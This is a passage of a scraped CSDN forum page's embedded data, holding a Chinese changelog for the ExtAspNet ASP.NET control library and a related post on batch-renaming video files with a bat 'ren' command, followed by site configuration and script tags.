beta10\n\t+完善Tree控件。[fixed]\n\t\t-如何将数据库中的数据绑定到Tree(示例在tree2_bind_database.aspx)。\n\t\t-ajax加载树节点,放在UpdatePanel中才有ajax的效果(示例在tree2_ajax.aspx)。\n\t\t-更改TreeNode的ID为NodeId,否则\u003Cem\u003E两个\u003C\u002Fem\u003E树中不能有相同ID的TreeNode,这是不合理的。\n\t-Grid的GridColumn的ID改名成ColumnId,否则同\u003Cem\u003E一个\u003C\u002Fem\u003E页面放置\u003Cem\u003E两个\u003C\u002Fem\u003EGrid,它们的GridColumn的ID不能\u003Cem\u003E同名\u003C\u002Fem\u003E,这是不合理的。注意需要更新以前的代码![fixed]\n\t-Grid所有类型的列增加DataTooltipField\u002FDataTooltipFormatString\u003Cem\u003E两个\u003C\u002Fem\u003E字段,以显示ToolTip(示例在grid.aspx)。[fixed]\n\t\n\t\n\t\n+2008-07-22 v0.3 beta9\n\t+IE6下,左侧导航链接的选中样式,以及鼠标移上去和移开的样式不对。[fixed]\n\t\t-发现原来ie6不能正确解析li的高度,必须手工设置才行(style=\"height:20px;\")。\n\t+IE6\u002FIE7下,模拟树的下拉列表如果文字长度太长,则显示的文字会换行,导致错位。[fixed]\n\t\t-虽然最后未能解决##差旅交通费在IE和Firefox下显示的不同效果。\n\t\t-但是通过用来代替,从而实现FF和IE下样式的统一。\n\t\t-刚看到old9的解决方案:把“差旅交通费”改成“差旅交通费”,在IE下和FF下的都不换行,:-)\n\t-LinkButton增加OnClick事件 [feedback:huihuang]。[fixed]\n\t-Window通过设置IFrameUrl和Popup不起作用的BUG。[feedback:xmzhu]。[fixed]\n\t+增加树控件(Tree)(示例在tree2.aspx)。[fixed]\n\t\t-可以在回发时维持树的状态(选中行,折叠\u002F展开,CheckBox)。\n\t\t-可以通过Inline的方式添加树节点,也可以绑定到XmlDocument\u002FXmlDataSource\u002FSiteMap。\n\t\t-点击树节点可以链接到页面,也可以引发PostBack事件,可以添加自定义脚本。\n\t\n\t\n\t\n+2008-07-16 v0.3 beta8\n\t+ContentPanel中放置ExtAspNet控件,则渲染时会出现各种问题,比如下拉列表显示样式出错,Grid没了滚动条等等。[fixed]\n\t\t-隐蔽性非常强,原来在ContentPanel中渲染ExtAspNet控件,如果容器的display='none',则会出现各种问题(主要是大小不对)。\n\t\t 必须设置容器为visibility='hidden',然后在渲染完成后显示容器。\n\t\t-现在Grid只要显示的设置高度和宽度,或者隐式的设定宽度高度(通过Anchor或Fit布局实现),只要超过Grid容器就会显示滚动条。\n\t+IE6下,在应用Asp.NetAjax后,Form中字段的宽度渲染不正确。[fixed]\n\t\t-调试相当困难,如果你有过在IE下通过alert发现问题的经历,你就能明白。\n\t\t-最后发现IE6下应用Asp.NetAjax后不仅Form中列的宽度设置不正确,而且主内容区域的宽度设置也不正确,不过最终我们还是顽强的修复了IE6下的这个BUG:\n\t\t 在MasterPage的onReady函数中,首先修正内容区域的宽度(region3.setWidth(pageLayout1.getSize().width - region2.getSize().width - 5);region3.doLayout();),然后修正页面中所有表单的宽度(box_fixFormWidthInIE6();):\n\t\t 示例在 Site.Master 页面。\n\t+集成的AspNetAjax有\u003Cem\u003E一个\u003C\u002Fem\u003E很大的BUG,只要你在页面上进行过ajax操作,当改变窗口大小时你会惊讶的发现内容区域的内容全部为空了![fixed]\n\t\t-解决方法相当怪异,经过\u003Cem\u003E一个\u003C\u002Fem\u003E下午的不断尝试,终于用\u003Cem\u003E一个\u003C\u002Fem\u003E怪异的方法解决(box.{0}.setSize(box.{0}.getSize());box.{0}.doLayout();),\n\t\t 这样的代码让我想起刷新窗口时那个方法(window.location.href=window.location.href;),不管怎么说,我对能很好的解决这个重大的BUG很是欣喜。\n\t\n\t\n\t\n+2008-07-14 v0.3 beta6\n\t-增加FlashObject控件。[fixed]\n\t-PageLoading增加EnableFadeOut属性(默认false),可以启用淡出效果。[fixed]\n\t-Accordion选中样式微调。[fixed]\n\t-预加载Form表单出错时提示信息的背景图片。[fixed]\n\t+Grid增加EnableDelayRender属性(默认false),可以加快页面的渲染速度(\u003Cem\u003E一个\u003C\u002Fem\u003E典型的20个记录的页面,可提前0.7s-1s显示出来)。[fixed]\n\t\t-因为延迟加载数据不会改变Grid的大小,所以对于非布局内或不设定高度宽度的Grid,需要设置\"EnableDelayRender=false\"。\n\t-改变Grid中静态的CheckBoxField图片。[fixed]\n\t-TabStrip增加TabIndexChanged事件,同时Tab增加EnablePostBack,可以在点击\u003Cem\u003E一个\u003C\u002Fem\u003ETab时引起回发事件。这在延迟加载Tab的内容非常有用。(示例在tabstrip.aspx)[fixed]\n\t\n\t\n\t\n+2008-07-12 v0.3 beta5\n\t-页面菜单Toolbar的分割符和背景不相融合。[fixed]\n\t-表单字段之间可以比较大小,比如NumberBox可以和Label比较大小,同时增加CompareType,来指定比较的类型(示例在form_compare.aspx)。[fixed]\n\t\t-如果是同种类型的表单字段,不需要指定CompareType,比如\u003Cem\u003E两个\u003C\u002Fem\u003ENumberBox比较值的大小不需要指定CompareType,而\u003Cem\u003E一个\u003C\u002Fem\u003ENumberBox和TextBox比较大小需要指定CompareType。\n\t+如果在编辑页面使用AspNetAjax,则不能在回发时关闭当前窗口[feedback:huihuang](示例在ajax_editor_main.aspx\u002Fajax_editor.aspx)。[fixed]\n\t\t-这是由于ajax后执行的javascript中不能有return false\u003Cem\u003E语句\u003C\u002Fem\u003E。\n\t+在文本框失去焦点时,执行一些Javascript脚本(示例在textbox_blur.aspx) [feedback:xmzhu]。[fixed]\n\t\t-在页面添加onReady函数(会被系统调用),然后用javascript监视文本框值的改变。\n\t-弹出Window默认显示的错误页面,解决方法在当前目录添加\u003Cem\u003E一个\u003C\u002Fem\u003E空的html页面,然后把Window控件的IFrameUrl指向这个页面而不是\"#\"。[fixed]\n\t+弹出的窗口中的弹出窗口的如果内容发生变化,则点击右上角的关闭按钮时会有提示用户先保存的对话框,但是这个对话框的被第二个弹出窗口覆盖了 [feedback:xmzhu]。[fixed]\n\t\t-原来的调用方法太麻烦(见示例中alert\\alert_1.aspx和alert\\alert_2.aspx,总计 6 行代码),现在只需要 3 行代码就OK了。\n\t-点击提交按钮后变成灰色不可再次点击(示例在button_click_gray.aspx)[feedback:jima]。[fixed]\n\t+增加Menu、MenuText、MenuSeparator、MenuButton、MenuHyperLink控件,用于按钮的下拉菜单(示例在button_menu.aspx)。[fixed]\n\t-增加SplitButton控件。[fixed]\n\t\n\t\n\t\n+2008-07-09 v0.3 beta4\n\t-DataPicker默认的日期格式为(yyyy-MM-dd)。[fixed]\n\t+Form表单字段(TextBox,DropDownList...)之间可以比较大小 [feedback:huihuang]。[fixed]\n\t\t-增加ControlToCompare\u002FValueToCompare\u002FCompareOperator\u002FCompareMessage四个属性,示例在form_compare.aspx。\n\t+TabStrip中放置IFrame会出现渲染错误 (示例在tabstrip_iframe.aspx)[feedback:jima]。[fixed]\n\t\t-特殊处理,拥有IFrame的Tab如果不是激活Tab,则不设置Url,只有在激活时才设置Url。\n\t-RadioButtonList增加AutoPostBack属性(示例在radio.aspx) [feedback:xmzhu]。[fixed]\n\t-FormRow可以设置各列的宽度百分比 (示例在form_columnwidths.aspx)[feedback:jima]。[fixed]\n\t+表单字段Enable=false时显示颜色太浅 [feedback:jima]。[fixed]\n\t\t-覆盖缺省样式的.x-item-disabled,设置不透明。\n\t\n\t\n\t\n+2008-07-08 v0.3 beta3\n\t-Grid没有数据,向后翻页按钮可以点击的BUG [feedback:huihuang]。[fixed]\n\t+增加HiddenField控件。[fixed]\n\t\t-其实用TextBox也能模拟HiddenField的行为,只需要设置CssStyle=\"display:none;\"即可。\n\t+TriggerBox 如果 EnableTextBox = true,则不能将Text回发(这是html的限制)。[fixed]\n\t\t-最后的解决方案居然是设置 readonly=true,同时更改属性为 Readonly(示例在textbox2.aspx)。\n\t-模拟树的下拉列表在失去焦点后显示的文字不对的BUG。[fixed]\n\t+控制下拉列表某些项不可以选择(示例在dropdownlist2.aspx)。[fixed]\n\t\t-增加 DataEnableSelectField 属性,不可选择的项变灰,并且鼠标经过时没有样式。\n\t-LinkButton和Grid的LinkButtonField增加Enable属性(示例在hyperlink.aspx和grid.aspx)。[fixed]\n\t\n\t\n\t\n+2008-07-07 v0.3 beta2\n\t+增加UpdatePanelConnector控件,支持在布局构建的页面使用Asp.net Ajax。[fixed]\n\t\t-使用UpdatePanelConnector有\u003Cem\u003E一个\u003C\u002Fem\u003E\u003Cem\u003E要\u003Cem\u003E求\u003C\u002Fem\u003E\u003C\u002Fem\u003E:ContentTemplate下只能有\u003Cem\u003E一个\u003C\u002Fem\u003E子节点,比如box:Panel。\n\t\t-示例在ajax3.aspx\u002Fcontent_page4.aspx。\n\t\t-示例content_page3.aspx中,点击“Ajax查询”按钮和关闭弹出的窗口(点击右上角的叉)都引发异步更新。\n\t \n\t \n\t\n+2008-07-03 v0.3 beta1\n\t+容器控件的AutoHeight\u002FAutoWidth默认为false。[fixed]\n\t\t-使用GroupPanel的地方需要手工添加AutoHeight=\"true\"属性。\n\t+增加UserControlConnector,可以在其中放置用户控件(示例在page_usercontrol.aspx)。[fixed]\n\t\t-也可以在ContentPanel中放置用户控件,注意两者的区别。\n\t+增加ContentPlaceHolderConnector,替换原来Region的ContentPlaceHolderId属性(示例在Site.master)。[fixed]\n\t+支持Asp.net ajax异步加载。[fixed]\n\t\t-有很大局限性,只能在ContentPanel中使用,示例在ajax1.aspx\u002Fcontent_ajax2.aspx中。\n\t\t-对于使用布局构建的页面(比如content_page1.aspx)还不能使用Asp.net ajax,因为页面是整体渲染的,先放弃。\n\t\n\t\n\t\n+2008-07-02 v0.2 beta12\n\t+关闭前提示当前页面已经被修改(示例在content_page1.aspx\u002Fsimpleform.aspx)[fixed]\n\t\t-支持Iframe内按钮和window右上角关闭按钮。\n\t\t-\u003Cem\u003E删除\u003C\u002Fem\u003ECloseAction属性,可以在后台通过OnClientCloseButtonClick属性指定(为了和iframe中做法一致)。\n\t+iframe中的alert\u002Fconfirm要覆盖整个父页面,而不仅仅是iframe页面。[fixed]\n\t\t-在Firefox下还有问题。[fix pending]\n\t+排序时在标题栏显示排序箭头,可以排序的列标题光标为手形(示例在grid_sorting.aspx)。[fixed]\n\t\t-可以通过设置Grid1.CurrentSortColumnIndex = 0;来强制某列显示排序箭头。\n\t\t-可以通过 Grid1.Columns[Grid1.CurrentSortColumnIndex].SortExpression 的方式取得当前Grid的排序表达式。\n\t+HyperLinkField\u002FWindowField的链接地址支持服务器端格式(即是~\u002Falert.aspx)。[fixed]\n\t-TabStrip的Tab中如果放置ContentPanel,则内容渲染位置不正确。[fixed]\n\t-可以在ContentPanel中放置用户控件(示例在page_usercontrol.aspx)。[fixed]\n\t\t\n\t\n\t\n+2008-06-30 v0.2 beta11\n\t-增加TwinTriggerBox控件(示例在twintriggerbox.aspx)。[fixed]\n\t-Grid的数据库分页需要增加属性IsDatabasePaging=true,以便普通分页和数据库分页,否则在添加\u003Cem\u003E删除\u003C\u002Fem\u003E记录时总记录数不会变化 [feedback:zgjiang2]。[fixed]\n\t-关闭Window时PostBack事件OnClose可以指定参数,来区分是哪些操作引发的PostBack事件 [feedback:zgjiang2](示例在window_postback.aspx)。[fixed]\n\t-如果表单验证不通过,则需要弹出对话框提示(第\u003Cem\u003E一个\u003C\u002Fem\u003E没通过验证的字段)(目前还不能切换到相应的tab)。[fixed]\n\t+页面中任意可输入表单字段发生变化,可提示先保存。(示例在content_page1.aspx\u002Fsimpleform.aspx)[fixed]\n\t\t-目前还不支持Window右上角关闭按钮的提示保存功能。\n\t-Master\u002FContent的内容页中Grid的Sort事件不起作用的BUG [feedback:zgjiang2]。[fixed]\n\t-Grid中的LinkButtonField设置ConfirmText会出错 [feedback:huihuang]。[fixed]\n\t-增加静态类Confirm。[fixed]\n\t\n\t\n\t\n+2008-06-27 v0.2 beta10\n\t+Grid完善。[fixed]\n\t\t-CheckBoxField在回发时不能保持状态的BUG (已经更新了grid_checkboxfield.aspx示例)。\n\t\t-Grid中模拟树显示,GridColumn增加DataSimulateTreeLevelField属性(\u003Cem\u003E一个\u003C\u002Fem\u003EGrid只能有\u003Cem\u003E一个\u003C\u002Fem\u003EColumn指定此属性),指定此列模拟树显示时的层次字段(0,1,2,...)(示例在grid_simulate_tree.aspx)。\n\t\t-切换分页时清空选中的值 [feedback:jqpeng]。\n\t\t-增加PreRowDataBound事件,可以在数据绑定之前设置某列的属性 [feedback:xmzhu] (示例在grid_prerowdatabound.aspx)。\n\t-DropDownList模拟树的方式显示,增加DataSimulateTreeLevelField属性,使用方法和Grid的类似(示例在dropdownlist_simulate_tree.aspx)。\n\t\n\t\n\t\n+2008-06-25 v0.2 beta9\n\t+Window窗体中的","createTime":"2010-09-29 14:37:08","dataReportQuery":"spm=1035.2023.3001.6557&utm_medium=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default&depth_1-utm_source=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default","dataReportClick":"{\"mod\":\"popu_645\",\"index\":\"4\",\"dest\":\"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Fwode2600\u002F2726130\",\"strategy\":\"2~default~OPENSEARCH~Rate\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","dataReportView":"{\"mod\":\"popu_645\",\"index\":\"4\",\"dest\":\"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Fwode2600\u002F2726130\",\"strategy\":\"2~default~OPENSEARCH~Rate\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","type":"download"},{"url":"https:\u002F\u002Fblog.csdn.net\u002Fweixin_59312879\u002Farticle\u002Fdetails\u002F123101530","title":"用\u003Cem\u003Ebat\u003C\u002Fem\u003E批量重命名不同\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E下的\u003Cem\u003E同名\u003C\u002Fem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E","desc":"起因:手机B站离线的视频目录是这个样子的\n\n\n\n\n\n视频的每\u003Cem\u003E一个\u003C\u002Fem\u003E分P都会生成\u003Cem\u003E一个\u003C\u002Fem\u003E\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E,包含视频基本资料和\u003Cem\u003E一个\u003C\u002Fem\u003E名为80的\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E,这个\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E里放着后缀名为m4s的音频和视频\u003Cem\u003E文件\u003C\u002Fem\u003E,现需要使用电脑播放下载的视频。那么第一步就是更改视频和音频\u003Cem\u003E文件\u003C\u002Fem\u003E的后缀名。\n\n百度得知\u003Cem\u003Ebat\u003C\u002Fem\u003E使用的基本案例:\n\n\nren *.m4s *.mp4\n\n\n\n\n\n可将以m4s的后缀名\u003Cem\u003E文件\u003C\u002Fem\u003E批量重命名为以mp4为后缀名的\u003Cem\u003E文件\u003C\u002Fem\u003E。唯一不足的是这个\u003Cem\u003Ebat\u003C\u002Fem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E需要放在与被更改\u003Cem\u003E文件\u003C\u002Fem\u003E同一\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E下,而这个视频由于有多个分P,导致有许多\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E,这个方法不好用。\n","createTime":"2022-02-24 08:42:50","dataReportQuery":"spm=1035.2023.3001.6557&utm_medium=distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default&depth_1-utm_source=distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default","dataReportClick":"{\"mod\":\"popu_645\",\"index\":\"5\",\"dest\":\"https:\u002F\u002Fblog.csdn.net\u002Fweixin_59312879\u002Farticle\u002Fdetails\u002F123101530\",\"strategy\":\"2~default~OPENSEARCH~Rate\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","dataReportView":"{\"mod\":\"popu_645\",\"index\":\"5\",\"dest\":\"https:\u002F\u002Fblog.csdn.net\u002Fweixin_59312879\u002Farticle\u002Fdetails\u002F123101530\",\"strategy\":\"2~default~OPENSEARCH~Rate\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","type":"blog"}],"staffDOList":[{"id":null,"communityId":218,"username":"community_100","userNickname":"Office开发\u002F VBA社区","roleCode":1,"status":1,"createUsername":"","updateUsername":"","avatarUrl":"https:\u002F\u002Fprofile-avatar.csdnimg.cn\u002Fdefault.jpg!1","createTime":"2021-05-12 18:07:12","updateTime":"2021-05-12 18:07:12","lastLoginTime":"2021-05-12 18:07:12"}],"communityConfig":{"scoreType":0,"scoreItems":{"0":"给本帖投票","1":"锋芒小试,眼前一亮","2":"潜力巨大,未来可期","3":"持续贡献,值得关注","4":"成绩优异,大力学习","5":"贡献巨大,全力支持"}},"shouldApply":false,"subscribeAble":false,"operatorAble":false,"commentNeedJoinCommunity":false},"default2014LiveRoom":[{"itemType":"","description":"高峰论坛","title":"2022 技术英雄会","url":"https:\u002F\u002Flive.csdn.net\u002Froom\u002Fiframe\u002Fcsdnnews\u002FfsNR5NWp?chat=1&title=1&footer=1","images":["https:\u002F\u002Fimg-home.csdnimg.cn\u002Fimages\u002F20221016050009.png"],"ext":{"time":"9:00","liveRoomUrl":"https:\u002F\u002Flive.csdn.net\u002Froom\u002Fcsdnnews\u002FfsNR5NWp"}}]},"isGooglebot":false,"canonical":"https:\u002F\u002Fwww.csdn.net\u002Ftopics\u002F390264122","openUrl":"","isApp":false,"localUrl":"https:\u002F\u002Fbbs.csdn.net\u002Ftopics\u002F390264122","typeId":"index","hasIndex":false},"CFG":{"ALIPLAYER_VERSION":"v4","ALIPLAYER_H5_VERSION":"mobile_v1","ENV":"prod","ROOT_URL":"https:\u002F\u002Fcms-mall.csdn.net\u002F","VUE_APP_API_URL_SERVER":"http:\u002F\u002Fcms-community-api.internal.csdn.net\u002F","VUE_APP_API_URL":"https:\u002F\u002Fcms-api.csdn.net\u002F","LOGIN_URL":"https:\u002F\u002Fpassport.csdn.net\u002Faccount\u002Flogin","VUE_APP_DOMAIN_SKILL":"https:\u002F\u002Fedu.csdn.net\u002F","VUE_APP_DOMAIN_PATH":"https:\u002F\u002Fedu.csdn.net\u002F","VUE_APP_COMMUNITY_API_URL":"https:\u002F\u002Fcommunity-api.csdn.net\u002F","VUE_APP_CCLOUD_API_URL":"https:\u002F\u002Fbizapi.csdn.net\u002Fcommunity-cloud\u002Fv1\u002F","VUE_APP_SKILL_API_URL":"https:\u002F\u002Fbizapi.csdn.net\u002Fskilltree\u002Fapi\u002F","VUE_APP_SEARCH_PLUGIN_API_URL":"https:\u002F\u002Fbizapi.csdn.net\u002Fsearchplugin\u002F","VUE_APP_COMMUNITY_ASK_API_URL":"https:\u002F\u002Fmp-ask.csdn.net\u002F","VUE_APP_ME_URL":"https:\u002F\u002Fme.csdn.net\u002F","VUE_APP_CCLOUD_RESUME":"https:\u002F\u002Fbizapi.csdn.net\u002Fjob-api\u002F","VUE_APP_CCLOUD_MAIN":"https:\u002F\u002Fwww.csdn.net\u002F","VUE_APP_CCLOUD_UC":"https:\u002F\u002Fwww.csdn.net\u002F","VUE_APP_CCLOUD_BZP_API_URL":"https:\u002F\u002Fbizapi.csdn.net\u002F","VUE_APP_CCLOUD_START_API_URL":"https:\u002F\u002Fmp-action.csdn.net\u002F","VUE_APP_PRACTIVE":"https:\u002F\u002Fbizapi.csdn.net\u002Fdaily-practice\u002F","VUE_APP_CCLOUD_HOSTPATH":"https:\u002F\u002Fbbs.csdn.net\u002F"},"queries":{"pageId":[],"domain":["ccloud.csdn.net\u002Fccloud\u002Fdetail1"],"id":["390264122"],"deviceType":"pc","isSpider":"","hostname":["bbs.csdn.net"]},"basePath":"bbs.csdn.net\u002Fccloud\u002Ftopics\u002F390264122","hrefUrl":"https:\u002F\u002Fbbs.csdn.net\u002Ftopics\u002F390264122","active":0,"navBarFixed":false,"title":"求BAT语句,两个文件夹,要求删除一个文件夹与另一个文件夹下同名文件的文件。","isLive":false,"contentType":{"text":"text","picture":"picture","link":"link","video":"video","vote":"vote","live":"live","blog":"blog","long_text":"long_text","task_text":"task_text"},"liveUrl":"https:\u002F\u002Flive.csdn.net\u002Froom\u002Fiframe\u002F","spmExtra":{"id":218,"topicId":390264122},"keywords":"","description":"以下内容是CSDN社区关于求BAT语句,两个文件夹,要求删除一个文件夹与另一个文件夹下同名文件的文件。相关内容,如果想了解更多关于Office开发\u002F VBA社区其他内容,请访问CSDN社区。"};</script><script type="text/javascript" src="https://csdnimg.cn/release/cmsfe/public/js/runtime.3e5c09eb.js"></script><script type="text/javascript" src="https://csdnimg.cn/release/cmsfe/public/js/chunk/common.7672e502.js"></script><script type="text/javascript" src="https://csdnimg.cn/release/cmsfe/public/js/chunk/tpl/ccloud-detail/index.243a94d0.js"></script></body> <!----> <script> window.csdn.sideToolbar = { options: { qr: { isShow: true, data: [ { imgSrc: 'https://csdnimg.cn/release/cmsfe/public/img/ewm.9010d6e5.png', desc: "关注公众号" }, ] }, help: { isShow: false, }, contentEl: document.getElementsByClassName("cloud-maintainer")[0] }, }; </script> <script src="https://g.csdnimg.cn/side-toolbar/2.9/side-toolbar.js" ></script> <!----> <!----> <!----> <script src="https://csdnimg.cn/release/blog_editor_html/release1.7.5/ckeditor/plugins/codesnippet/lib/highlight/highlight.pack.js"></script> <script src="https://g.csdnimg.cn/lib/editor-page-detail/v2.2.0/js/runDetail.min.js"></script> <!----> <!----> <!----> <!----> <!----> <!----> <script src="https://g.csdnimg.cn/collection-box/2.1.0/collection-box.js"></script> <!----> <!----> <!----> <!----> <script src="https://g.csdnimg.cn/common/csdn-cert/csdn-cert.js"></script> <!----></html>